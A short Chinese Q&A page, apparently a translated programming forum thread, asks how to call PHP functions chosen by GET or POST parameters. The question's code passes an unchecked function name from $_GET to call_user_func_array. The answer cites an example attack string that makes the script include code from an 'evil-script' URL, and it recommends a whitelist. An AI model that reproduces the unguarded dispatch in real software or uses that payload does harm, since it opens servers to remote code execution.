首页 > 解决方案 > 使用来自 GET 或 POST 的参数调用 PHP 函数

问题描述

假设我在文件中有以下功能functions.php

function foo($baz, $qux = 2, $quux = 3){
    echo 'foo: $baz - $qux - $quux';
}

function bar($baz, $qux = 5, $quux = 6){
    echo 'bar: $baz - $qux - $quux';
}

现在我希望能够使用 GET(或 POST)来调用这些函数。例如

使用类似的方法call_user_func_array,我将能够实现其中的一些功能,但不是全部,因为它无法处理关联数组。所以我会设想类似(通过适当的安全检查):

$function_name = $_GET['call_func'];
unset($_GET['call_func']);
call_user_func_array($function_name, $_GET);

但是,这不处理关联数组,因此第二个示例调用 ( /functions.php?call_func=bar&baz=7&quux=3) 会将quux参数传递给qux而不是quux.

是否有从 GET 或 POST 请求调用不同函数的正确方法?

标签: phpfunctioncalling-convention

解决方案


首先,您的实施在信息安全方面存在风险。这样就可以调用任何函数。想象一下,如果恶意攻击者发送

call_func=include&baz=http://evil-script&quux=null

最安全的解决方案,也可以满足您的问题要求,是使用“白名单”,其中包含可以调用的函数,以及允许它们接受的参数


推荐阅读